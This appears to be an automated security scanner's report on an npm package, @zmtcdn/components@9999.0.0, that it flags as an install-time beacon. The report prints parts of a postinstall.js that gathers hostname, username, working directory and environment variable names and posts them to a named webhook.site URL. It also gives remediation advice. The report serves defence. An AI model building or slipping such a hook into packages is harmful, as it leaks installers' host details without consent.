@zmtcdn/components@9999.0.0
Security research PoC
AI Security Review
scanned 7d ago · by lpm-firewall-aiThe manifest activates a postinstall hook that automatically discloses identifying host and user metadata to a fixed external collector. This is an installation beacon and warrants blocking; the source does not show environment variable values being collected.
Static reason
High-risk behavior combination matched malicious policy.; source fingerprint signature matched known malicious package; routed for review
Trigger
Installing the package runs its postinstall script.
Impact
An external recipient receives identifying installation and host metadata.
Mechanism
The hook gathers host, user, working-directory, and environment-key metadata, then POSTs it to webhook.site without a consent check.
Attack narrative
On package installation, the postinstall hook collects host and user identifiers, the current directory, and environment variable names. It sends this data to a fixed webhook.site endpoint without an installer consent guard.
AI rationale
The manifest activates a postinstall hook that automatically discloses identifying host and user metadata to a fixed external collector. This is an installation beacon and warrants blocking; the source does not show environment variable values being collected.
Evidence
package.jsonpostinstall.js
Network endpoints1
webhook.site/f52af355-4783-4acb-9de1-5e44b5963025
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json runs postinstall.js automatically during installation.
- postinstall.js collects host name, platform, username, working directory, environment variable names, and time.
- postinstall.js sends the collected data by POST to a fixed webhook.site URL without a consent guard.
Evidence against
- The hook collects environment variable names, not their values.
Behavioral surface
EnvironmentVarsNetwork
HighEntropyStringsUrlStrings
NoLicense
Source & flagged code
7 flaggedpackage.jsonView file
•scripts.postinstall = node postinstall.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg•scripts.postinstall = node postinstall.js
Medium
Ambiguous Install Lifecycle Script
Install-time lifecycle script is not statically allowlisted and needs review.
package.jsonView on unpkgpostinstall.jsView file
1Source sends the broad process environment to a literal external destination.
L1: const os = require('os');
L2: const https = require('https');
L3:
L4: const data = JSON.stringify({
L5: hostname: os.hostname(),
L6: platform: os.platform(),
...
L8: cwd: process.cwd(),
L9: env_keys: Object.keys(process.env), // không gửi values - tránh sensitive data
L10: time: new Date().toISOString()
...
L20: req.on('error', () => {});
L21: req.write(data);
L22: req.end();
Findings
2 Critical4 High4 Medium4 Low
CriticalHardcoded Runtime Data Exfiltrationpostinstall.js
CriticalTrigger Reachable Dangerous Capabilitypostinstall.js
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationpostinstall.js
HighTrigger Reachable External Post Callbackpostinstall.js
HighKnown Malware Source Fingerprint Signaturepostinstall.js
MediumAmbiguous Install Lifecycle Scriptpackage.json
MediumNetwork
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowScripts Present
LowHigh Entropy Strings
LowUrl Strings
Low
Affected versions and remediation
This report applies to @zmtcdn/components@9999.0.0.
See all versions of @zmtcdn/components for other recorded verdicts.
- Avoid installing @zmtcdn/components@9999.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.